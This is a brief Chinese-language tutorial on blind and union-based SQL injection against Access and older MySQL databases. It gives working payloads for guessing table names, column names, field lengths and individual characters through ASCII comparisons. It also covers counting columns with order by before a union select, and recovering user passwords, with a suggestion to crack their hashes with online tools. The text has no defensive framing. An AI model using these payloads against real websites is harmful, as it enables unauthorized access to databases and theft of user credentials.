access数据库和mysql5.0以前版本都是靠暴力猜解,准备个字典(常用表名,库名,字段名等)逐个尝试。
exists:access数据查询结果是否有数据,如果有数据,exists得到true真,如果没有数据,直接报错
猜数据库表名
一般在网址上找到其注入点,在后面相应加上
and exists(select * from users)
猜的表名为users
猜字段名
and exists(select id from users)
在猜到表的基础上去猜测字段,基于表名去猜测
猜字段名长度
and (select top 1 len(user_name) from users)>1
top 1是只第一个字段,类似mysql中的 limit 1。len()函数类似mysql里的length()函数
猜字段数据内容
and (select top 1 asc(mid(user_name,1,1))from users)>0
判断字母的ascii值,逐个尝试
得到数据库的用户密码,其密码加密可以通过一些在线破解工具破解
一个一个ASCII码来猜测数据,太过麻烦,有没有更好的方法呢?
SQL注入中的高级查询--order by 与union select
order by猜测字段数目
首先利用order by猜测字段数目,查询语句如下
order by 1 from users
order by 1,2 from users
.....
order by 1,2,...N from users
直到报错
从页面返回的信息中,可以看到显示了的数字。因此可以通过已经显示的这个数据替换我们想要的数据的字段名